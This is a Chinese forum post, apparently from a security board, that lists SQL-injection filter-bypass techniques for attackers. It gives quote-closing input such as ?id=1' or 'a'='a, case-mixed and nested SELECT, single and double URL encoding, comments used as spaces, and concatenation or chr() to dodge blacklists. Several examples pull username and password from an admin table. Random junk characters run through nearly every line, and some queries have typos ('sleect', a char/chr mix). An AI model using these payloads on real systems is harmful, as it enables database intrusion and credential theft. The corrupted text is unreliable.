SQL注入。有攻有防。知道进攻。才懂得防守. e( C$ c0 d% t+ k
, ~9 X2 ?' A2 Z# T/ e! V" A0 [
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。
! |8 C* _ \/ \5 M8 f. J! f/ E+ b6 X4 Q( I2 v
唱出会删除或者净化一些字符,或者阻止常用的sql关键词。6 g' d; c% ]- F( N
2 U0 B) l1 t& f3 p7 I9 {3 m
我们通常有以下几种技巧,去避开这些过滤。7 c+ R# N. }6 ~& n5 j
' H9 ?9 c7 ^$ v1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。
$ a( W/ \* U9 S% J& h1 b/ R# @0 d8 I7 o. v6 T0 ^4 E
A,如果注入一个数字数据字段,就不需要使用单引号。1 F& ^! v8 D- t) K2 J
1 X) m, S1 y& m3 G8 p
B,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。) N: t- G& H; R/ M5 o; D; G* n
, l: b7 O4 j: z6 K: M" g比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a" u7 L: L3 r& ^) J( m
. G0 H7 o* O) d2 q3 |, W
目的其实很简单,就是把后面的单引号给闭合掉。 y1 ]# Z; q+ s: ~
* t8 s9 w0 k, m- S/ n: P# w8 f3 {- N+ OC,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
! Z# e) x: h9 L( K/ O, b+ C: d3 B: r* S% m! ?
只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。6 \4 i5 B# |/ C
7 f; l, S, I: Q- R2,避免使用简单确认
/ r& s' h6 S9 t$ ?9 d9 _; B& w; t+ k7 A4 k. A
一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
. C2 U1 I) L$ u. p) o! C! Q% z# [; P. ~# I
这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。. V3 f& j+ H' M: G0 M7 D j
, B \6 k g, l6 b# P0 FA,如果select关键词被阻止或删除
% m3 r- e6 u8 {# k* a9 l+ j# s
我们可以输入:
" C" X# N: s! p1 }2 h
2 J5 N* v) M* n9 o9 mSeLeCt 注意大小写
5 M7 S4 f* X$ S8 z- d5 K# ^, `% b) y
selselectect 还记得ewebeditor是怎么过滤asp的么?
6 d, Y5 h. m- n" R* H$ l
) X# g' W& K5 {# U! p1 [! R%53%45%4c%45%43%54 URL编码1 P6 `1 C& t% O7 C) `
6 {/ I+ V$ L5 L' o" G
%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个25
" Q! ^, s: S7 G! J! D, {9 E& C" F6 u/ E* D: b4 d
3,使用SQL注释符: M$ k# u3 y9 \8 B, C# @& s
1 x7 }4 G) r1 j. V8 j% d1 U! j/ M
A,使用注释来冒充注入的数据中的空格。; v( l) _, J' E1 U6 Y' ]
6 W8 ^6 h5 t& e, h! B" d7 l' lselect/*yesu*/username,password/*yesu*/from/*yesu*/admin# u3 ^( ~. O8 l; z8 P
" U2 t9 A# o, i' P; e
/*yesu*/来冒充空格
, T6 t4 |" A8 I0 o3 j0 u4 v" \+ M2 A& S( S5 |1 e) y9 P
B,使用注释来避开某些注入的确认过滤。6 G" @0 G, O( Y! ~9 I5 [% a' O% s, V
+ e+ X6 y4 Q* N
SEL/*yesu*/ECT username,password fr/*yesu*/om admin" t3 m0 i% B- y' }
$ |2 N8 }' i6 @! D4 F' _4,处理被阻止的字符串
2 e1 x4 a/ U) E5 W* q
0 |) b8 h, e2 t+ @6 H* m0 g比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。+ ?& G: g$ J+ U# M6 d2 B
+ h) b, b8 e" G0 ]6 Q( q我们可以这样
6 N) P& o0 r3 b+ b
5 D! M' k4 o8 _& P) N- U/ `! IA,oracle数据库: ‘adm’||’in’
/ n1 C$ s4 e% R. t/ T6 M* r0 d: A. {" Z8 k) B
B,MSSQL数据库: ‘adm’+’in’" i7 `0 P3 u7 u9 p4 ^; n
8 r1 Y# ~; |1 o: AC,MYSQL数据库: concat (‘adm’,’in’)
# I8 W5 T7 e- l! |) L5 ~0 @2 x; L
D,oracle中如果单引号被阻止了,还可以用chr函数
) V$ Q; N! c# N6 l) A
4 k- j- E; Y U5 A4 asleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110): }3 Q2 ` [9 Q' Z+ E
+ g6 G& l8 E7 }
还有其他方法。正在收集中.
: C& e. v: ?! C, d6 j3 y( X# u% e: s9 I) Y
|